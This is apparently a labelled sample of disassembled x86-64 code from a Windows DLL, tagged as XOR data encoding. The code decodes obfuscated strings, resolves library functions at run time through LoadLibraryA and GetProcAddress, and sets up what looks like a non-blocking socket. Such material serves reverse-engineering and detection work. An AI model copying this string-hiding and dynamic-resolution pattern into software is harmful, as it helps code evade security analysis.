Function at 0x180008b00
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
xor r13d, r13d
mov dword [rbp - 0x13], 0xf6540ee6
mov qword [rcx + 0x100], r13
mov rbx, rcx
mov qword [rcx + 0x108], r13
mov qword [rcx + 0x110], r13
mov dword [rbp - 0xf], 0x14d710a8
mov dword [rbp - 0xb], 0xfd6e6259
mov word [rbp - 7], 0x83
mov qword [rbp + 0x40], r13
movabs r13, 0xaaaaaaaaaaaaaaab
mov rax, qword [rbp + 0x40]
movsxd r12, edx
mov rcx, qword [rbp + 0x40]
mov rax, qword [rbp + 0x40]
movzx r8d, byte [rbp + rax - 0x12]
mov rax, r13
mul rcx
shr rdx, 4
movzx eax, dl
add al, al
add dl, al
mov rax, qword [rbp + 0x40]
shl dl, 3
sub cl, dl
mov edx, 0x736e164d
sar edx, cl
xor dl, r8b
mov byte [rbp + rax - 0x12], dl
mov rax, qword [rbp + 0x40]
inc rax
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x40]
cmp rax, 0xc
jb 0x180008b62
xor r13d, r13d
mov byte [rbp - 6], r13b
call fcn.1800015c0
mov r14, qword gs:[0x58]
mov rsi, rax
mov r15d, dword [0x1802848b4]
mov eax, 4
mov rdi, qword [r14 + r15*8]
add rdi, rax
mov ecx, dword [rdi]
cmp dword [0x180286968], ecx
jle 0x180008c11
lea rcx, [0x180286968]
call fcn.180249e18
cmp dword [0x180286968], 0xffffffff
jne 0x180008c11
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x180286968]
mov qword [0x18028a9f8], rax
call fcn.180249db8
mov eax, dword [rdi]
cmp dword [0x18028a99c], eax
jle 0x180008c4a
lea rcx, [0x18028a99c]
call fcn.180249e18
cmp dword [0x18028a99c], 0xffffffff
jne 0x180008c4a
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x18028a99c]
mov qword [0x18028a9a0], rax
call fcn.180249db8
mov rax, qword [0x18028a9f8]
mov rcx, rsi
call rax
mov r8, qword [0x18028a9a0]
lea rdx, [rbp - 0x12]
mov rcx, rax
call r8
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rax
mov qword [rbx + 0x118], rax
mov rcx, r12
mov rax, qword [0x180286930]
mov qword [rbx], rcx
mov word [rbx + 0xf0], r13w
mov qword [rbx + 0xf8], r13
mov byte [rbx + 0xf2], 1
mov dword [rbp + 0x48], r13d
test rax, rax
jne 0x180008dcd
mov byte [rbp - 0x14], al
movabs r9, 0xaaaaaaaaaaaaaaab
mov dword [rbp - 0x20], 0x138eabf4
mov dword [rbp - 0x1c], 0xe87d704c
mov dword [rbp - 0x18], 0x8c958aa0
mov qword [rbp + 0x40], r13
mov rax, qword [rbp + 0x40]
mov rcx, qword [rbp + 0x40]
mov rax, qword [rbp + 0x40]
movzx r8d, byte [rbp + rax - 0x1f]
mov rax, r9
mul rcx
shr rdx, 4
movzx eax, dl
add al, al
add dl, al
mov rax, qword [rbp + 0x40]
shl dl, 3
sub cl, dl
mov edx, 0x203e1c2
sar edx, cl
xor dl, r8b
mov byte [rbp + rax - 0x1f], dl
mov rax, qword [rbp + 0x40]
inc rax
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x40]
cmp rax, 0xb
jb 0x180008cd1
mov byte [rbp - 0x14], r13b
call fcn.1800017a0
mov rdi, qword [r14 + r15*8]
mov rsi, rax
mov eax, 4
add rdi, rax
mov edx, dword [rdi]
cmp dword [0x180286968], edx
jle 0x180008d6d
lea rcx, [0x180286968]
call fcn.180249e18
cmp dword [0x180286968], 0xffffffff
jne 0x180008d6d
mov rdx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, [0x180286968]
mov qword [0x18028a9f8], rdx
call fcn.180249db8
mov eax, dword [rdi]
cmp dword [0x18028a99c], eax
jle 0x180008da6
lea rcx, [0x18028a99c]
call fcn.180249e18
cmp dword [0x18028a99c], 0xffffffff
jne 0x180008da6
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x18028a99c]
mov qword [0x18028a9a0], rax
call fcn.180249db8
mov rax, qword [0x18028a9f8]
mov rcx, rsi
call rax
mov r8, qword [0x18028a9a0]
lea rdx, [rbp - 0x1f]
mov rcx, rax
call r8
mov rcx, qword [rbx]
mov qword [0x180286930], rax
lea r8, [rbp + 0x48]
mov edx, 0x8004667e
call rax
mov rax, rbx
mov rbx, qword [rsp + 0x90]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret